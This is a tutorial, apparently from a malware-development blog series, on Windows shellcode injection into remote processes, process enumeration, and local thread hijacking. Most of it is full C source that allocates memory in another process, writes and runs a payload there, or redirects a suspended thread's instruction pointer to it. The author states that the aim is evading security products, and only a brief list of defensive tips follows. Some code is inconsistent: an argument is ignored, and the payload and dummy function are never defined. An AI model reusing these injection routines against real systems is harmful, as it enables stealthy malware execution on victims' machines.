Topics: Let's discuss the topics which we are going to dive deep into today.
The first topic we are going to cover is:
- Process Injection - Shellcode.
- Enumerating process via EnumProcesses
- Thread Hijacking and local thread creation
Process Injection - Shellcode:
In general and the simplest words, process injection is a way to inject your malicious code (payload) into the process of another application. This is also the most common way, but below you will see more advanced POC (proof of concept). We will utilize them together to bypass security.
Who Uses Injections:
This method is mostly used by red teamers to test their systems. They will utilize these things to see in how many ways hackers can penetrate their system (or how hackers will enter into their system). Normally, red teamers are hired to do penetration testing on their systems and then submit reports. They can utilize these things.
Second, this thing is mostly used by hackers. Normally, when we execute our shellcode in a single file, it's pretty simple and easy to detect. When we inject into another file, now things become hard to detect.
Overview of Injections:
- First, we will set a process where we will want to inject. Note that in Windows 11 and Windows 10, names of processes are different. For example, in Windows 10, we will use notepad.exe, and in Windows 11, notepad.exe will not work because we have to use Notepad.exe (capital).
- Then we will allocate the memory. In the past, we studied about this deeply; kindly refer to it.
- Then our main thing: our shellcode will play its role. It will be placed in our allocated memory.
- It will then make changes.
- And finally, now it's time to inject and run.
Important APIs To Learn:
Now it's important to read about the APIs which we are going to utilize today. You can use any reference to study about them.
- CreateToolhelp32Snapshot
- Process32First / Process32Next (for Enumerating Process)
- VirtualAllocEx
- WriteProcessMemory
- VirtualProtectEx
- CreateRemoteThread
- VirtualFreeEx
All set, all good. Now let's dive deep into concepts:
Enumerating Process:
Now here we just discuss our target process where we are going to inject our payload, shellcode, or anything.
BOOL GetRemoteProcessHandle(LPWSTR szProcessName, DWORD* dwProcessId, HANDLE* hProcess) {
// According to the documentation:
// Before calling the Process32First function, set this member to sizeof(PROCESSENTRY32).
// If dwSize is not initialized, Process32First fails.
PROCESSENTRY32 Proc = {
.dwSize = sizeof(PROCESSENTRY32)
};
HANDLE hSnapShot = NULL;
// Takes a snapshot of the currently running processes
hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
if (hSnapShot == INVALID_HANDLE_VALUE){
printf("[!] CreateToolhelp32Snapshot Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
// Retrieves information about the first process encountered in the snapshot.
if (!Process32First(hSnapShot, &Proc)) {
printf("[!] Process32First Failed With Error : %d \n", GetLastError());
goto _EndOfFunction;
}
do {
WCHAR LowerName[MAX_PATH * 2];
if (Proc.szExeFile) {
DWORD dwSize = lstrlenW(Proc.szExeFile);
DWORD i = 0;
RtlSecureZeroMemory(LowerName, MAX_PATH * 2);
// Converting each character in Proc.szExeFile to a lower case character
// and saving it in LowerName
if (dwSize < MAX_PATH * 2) {
for (; i < dwSize; i++)
LowerName[i] = (WCHAR)tolower(Proc.szExeFile[i]);
LowerName[i++] = '\0';
}
}
// If the lowercase'd process name matches the process we're looking for
if (wcscmp(LowerName, szProcessName) == 0) {
// Save the PID
*dwProcessId = Proc.th32ProcessID;
// Open a handle to the process
*hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, Proc.th32ProcessID);
if (*hProcess == NULL)
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
break;
}
// Retrieves information about the next process recorded in the snapshot.
// While a process still remains in the snapshot, continue looping
} while (Process32Next(hSnapShot, &Proc));
// Cleanup
_EndOfFunction:
if (hSnapShot != NULL)
CloseHandle(hSnapShot);
if (*dwProcessId == 0 || *hProcess == NULL)
return FALSE;
return TRUE;
}
We use the CreateToolhelp32Snapshot API to obtain a snapshot of running processes. Iterate the snapshot with Process32First; when a process matches the criteria, store its process ID.
To perform shellcode injection into a remote process, call InjectShellcodeToRemoteProcess. Provide hProcess as the handle to the target process, pShellcode as the (deobfuscated) base address of the shellcode, and the size of the shellcode.
BOOL InjectShellcodeToRemoteProcess(HANDLE hProcess, PBYTE pShellcode, SIZE_T sSizeOfShellcode) {
PVOID pShellcodeAddress = NULL;
SIZE_T sNumberOfBytesWritten = 0;
DWORD dwOldProtection = 0;
// Allocate memory in the remote process of size sSizeOfShellcode
pShellcodeAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pShellcodeAddress == NULL) {
printf("[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", pShellcodeAddress);
printf("[#] Press <Enter> To Write Payload ... ");
getchar();
// Write the shellcode in the allocated memory
if (!WriteProcessMemory(hProcess, pShellcodeAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Successfully Written %d Bytes\n", sNumberOfBytesWritten);
memset(pShellcode, '\0', sSizeOfShellcode);
// Make the memory region executable
if (!VirtualProtectEx(hProcess, pShellcodeAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[#] Press <Enter> To Run ... ");
getchar();
printf("[i] Executing Payload ... ");
// Launch the shellcode in a new thread
if (CreateRemoteThread(hProcess, NULL, NULL, pShellcodeAddress, NULL, NULL, NULL) == NULL) {
printf("[!] CreateRemoteThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE !\n");
return TRUE;
}
Explanation:
- We are allocating our memory using VirtualAllocEx API.
- Then we will copy our shellcode with WriteProcessMemory API.
- Then we will modify our memory permissions using the API called VirtualProtectEx.
- And then finally execute or run.
Free The Memory:
I mean once the execution is completed, now it's time to free it.
BOOL FreeRemoteMemory(HANDLE hProcess, LPVOID pShellcodeAddress, SIZE_T sSizeOfShellcode) {
if (!VirtualFreeEx(hProcess, pShellcodeAddress, sSizeOfShellcode, MEM_RELEASE)) {
printf("[!] VirtualFreeEx Failed: %d\n", GetLastError());
return FALSE;
}
printf("[i] Memory Deallocated.\n");
return TRUE;
}
Basic Combination Of All POC (proof of concept):
Now it's time to put all these things together and utilize them. It's a basic way, and you can add and modify these codes as much as you need. I mean utilize them with any other project like our UUID obfuscation or use RC4 or XOR.
#include <windows.h>
#include <stdio.h>
unsigned char shellcode[] =
"\x90\x90\x90\xCC"; // Sample shellcode (NOP sled + INT3 for debugging)
int main(int argc, char* argv[]) {
if (argc < 2) {
printf("Usage: %s <process_name>\n", argv[0]);
return 1;
}
DWORD dwProcessId;
HANDLE hProcess;
if (!GetRemoteProcessHandle(L"notepad.exe", &dwProcessId, &hProcess)) {
printf("[!] Could not find process!\n");
return 1;
}
printf("[+] Found Process: PID = %d\n", dwProcessId);
if (!InjectShellcodeToRemoteProcess(hProcess, shellcode, sizeof(shellcode))) {
printf("[!] Injection Failed!\n");
CloseHandle(hProcess);
return 1;
}
CloseHandle(hProcess);
return 0;
}
Process Enumeration - EnumProcesses:
Understanding Process Enumeration with EnumProcesses:
Process enumeration is a technique to get or call running processes of a system.
Who Uses Process Enumeration:
- Process enumeration is mostly used by malware analysts to understand running files.
- Will be utilized for ideal use of tracking running processes.
- And lastly, for process injections.
Now we have different ways to enumerate processes provided below:
- CreateToolhelp32Snapshot
- EnumProcesses
In this model, we are going to utilize EnumProcesses:
EnumProcesses will get all currently running process IDs (PIDs). But make sure this will not print or get process names.
In a nutshell, here's how this works:
- First of all, we will call EnumProcesses to retrieve arrays.
- Then we will utilize a loop for each PID, and then we will utilize OpenProcess.
- Then we will call EnumProcessModules to retrieve the module, which is the main or important executable process.
BOOL PrintProcesses() {
DWORD adwProcesses[1024 * 2], dwReturnLen1 = 0, dwReturnLen2 = 0, dwNmbrOfPids = 0;
HANDLE hProcess = NULL;
HMODULE hModule = NULL;
WCHAR szProc[MAX_PATH];
// Step 1: Get the array of PIDs
if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Step 2: Calculate the number of processes
dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);
printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);
// Step 3: Loop through each PID
for (int i = 0; i < dwNmbrOfPids; i++) {
if (adwProcesses[i] != NULL) {
// Step 4: Open a handle to the process
if ((hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, adwProcesses[i])) != NULL) {
// Step 5: Get a handle to a module in the process
if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// Step 6: Retrieve process name
if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// Step 7: Print process name and PID
wprintf(L"[%0.3d] Process \"%s\" - Of Pid : %d \n", i, szProc, adwProcesses[i]);
}
}
// Step 8: Close handle
CloseHandle(hProcess);
}
}
}
return TRUE;
}
There is not much to explain. I mean the concepts were already explained above. The concept is working.
What to Use for Targeting a Process:
BOOL GetRemoteProcessHandle(LPCWSTR szProcName, DWORD* pdwPid, HANDLE* phProcess) {
DWORD adwProcesses[1024 * 2], dwReturnLen1 = 0, dwReturnLen2 = 0, dwNmbrOfPids = 0;
HANDLE hProcess = NULL;
HMODULE hModule = NULL;
WCHAR szProc[MAX_PATH];
// Step 1: Get the array of PIDs
if (!EnumProcesses(adwProcesses, sizeof(adwProcesses), &dwReturnLen1)) {
printf("[!] EnumProcesses Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Step 2: Calculate number of processes
dwNmbrOfPids = dwReturnLen1 / sizeof(DWORD);
printf("[i] Number Of Processes Detected : %d \n", dwNmbrOfPids);
// Step 3: Loop through each process
for (int i = 0; i < dwNmbrOfPids; i++) {
if (adwProcesses[i] != NULL) {
// Step 4: Open process with full access
if ((hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, adwProcesses[i])) != NULL) {
// Step 5: Get module handle
if (!EnumProcessModules(hProcess, &hModule, sizeof(HMODULE), &dwReturnLen2)) {
printf("[!] EnumProcessModules Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// Step 6: Retrieve process name
if (!GetModuleBaseName(hProcess, hModule, szProc, sizeof(szProc) / sizeof(WCHAR))) {
printf("[!] GetModuleBaseName Failed [ At Pid: %d ] With Error : %d \n", adwProcesses[i], GetLastError());
}
else {
// Step 7: Compare process name
if (wcscmp(szProcName, szProc) == 0) {
wprintf(L"[+] FOUND \"%s\" - Of Pid : %d \n", szProc, adwProcesses[i]);
*pdwPid = adwProcesses[i]; // Return PID
*phProcess = hProcess; // Return process handle
break;
}
}
}
// Step 8: Close handle if not matched
CloseHandle(hProcess);
}
}
}
// Step 9: Check if process was found
return (*pdwPid != 0 && *phProcess != NULL);
}
This time we will utilize the print process function for a specific or particular function by its name.
We will again call EnumProcesses first, then will similarly utilize our loops. From PID, we will utilize EnumProcessModules to get the process module. And then we are going to compare the process names using wcscmp. If it matches, it will simply retrieve.
Thread Hijacking and Local Thread Creation:
In simple words, thread hijacking is a way to execute without creating a new thread. This will help us to get fewer detections because modern security has flagged a few APIs which include CreateThread. In simple words, it's an advanced way. Instead of executing our own payload, we will simply inject into another process. It will make it harder to detect.
Now in this model, we will simply say we will first suspend an existing thread, modify its execution path, and then simply resume the thread.
Before going deep dive into our technique, first let's understand the basic difference between thread hijacking and thread creation.
The basic and most important difference is fewer detections and stealth of malware.
Creating a new thread will expose our base address of shellcode.
On the other hand, hijacking will look like a normal and more legitimate process.
Why Thread Hijacking and Local Thread Creation:
The main reason I can give is simply for evading and bypassing security.
If we use a trusted and running process, it will make it harder to detect our code. I mean in this, we will not execute our own payload; we will inject our shellcode into another process.
The tip I have for you is to avoid the common injection points which are utilized by all.
Steps for Doing Thread Hijacking:
The first and most important thing is we need a running thread to hijack. Now also keep in mind it's not possible to hijack a running local main process.
So we are not able to hijack a local running process. First, we need to create a suspended thread.
HANDLE hThread = NULL;
// Creating a thread in a suspended state
hThread = CreateThread(
NULL,
NULL,
(LPTHREAD_START_ROUTINE)&DummyFunction, // A harmless function
NULL,
CREATE_SUSPENDED, // Start in suspended mode
NULL
);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return FALSE;
}
Now here, first we will create a thread that will run a dummy function.
Now Let's Modify Our Threads:
Now our first step is to retrieve the thread. When the thread resumes execution, the payload will be executed.
GetThreadContext will now be used to retrieve the thread. The values will be modified to our modified thread's context using SetThreadContext. The values in the structure that decide what the thread will execute next. The values will be in a 64-bit process.
Thread Hijacking Functions:
Now we will utilize RunViaClassicThreadHijacking that will basically perform thread hijacking. This will normally require 3 arguments.
- hThread: used to handle a suspended thread.
- pPayload: pointer to the payload's base address.
- sPayloadSize: simply the size of the payload.
BOOL RunViaClassicThreadHijacking(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
PVOID pAddress = NULL;
DWORD dwOldProtection = 0;
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// Allocating memory for the payload
pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (pAddress == NULL){
printf("[!] VirtualAlloc Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Copying the payload to the allocated memory
memcpy(pAddress, pPayload, sPayloadSize);
// Changing the memory protection
if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("[!] VirtualProtect Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Getting the original thread context
if (!GetThreadContext(hThread, &ThreadCtx)){
printf("[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// Updating the next instruction pointer to be equal to the payload's address
ThreadCtx.Rip = pAddress;
// Updating the new thread context
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}
Sacrificial Thread:
Well, RunViaClassicThreadHijacking will need a handle for a thread. As mentioned previously, the targeted thread needs to be in a suspended state for RunViaClassicThreadHijacking to successfully hijack the thread.
Let's Now See Our Main Functions:
int main() {
HANDLE hThread = NULL;
// Creating sacrificial thread in suspended state
hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE) &DummyFunction, NULL, CREATE_SUSPENDED, NULL);
if (hThread == NULL) {
printf("[!] CreateThread Failed With Error : %d \n", GetLastError());
return -1;
}
// Hijacking the sacrificial thread created
if (!RunViaClassicThreadHijacking(hThread, Payload, sizeof(Payload))) {
return -1;
}
// Resuming suspended thread, so that it runs our shellcode
ResumeThread(hThread);
printf("[#] Press <Enter> To Quit ... ");
getchar();
return 0;
}
Now readers, make sure to utilize all previous concepts, and mostly this section is very important to digest properly because now after a few general concepts, we are going to move on to intermediate sections.
Which normally contains:
- APC injections
- callback code executions
- local mapping injections
- remote mapping injections
- spoofing PPID
- process argument spoofing concepts
- parsing PE headers
- string hashing
How To Protect Ourselves:
If you want to protect yourself, you need something which looks for the behavior of files, does memory analysis, and also does system hardening.
Make sure your Windows Defender is up to date and your Windows is up to date.
Look for suspicious APIs and functions.
Make sure to have a look at unusual memory allocations.
Normal programs do not use NtSetContextThread() or SuspendThread(). For this process, use Windows Defender Attack Surface Reduction.
If possible, use a kernel-based monitoring system to detect stealthy payloads.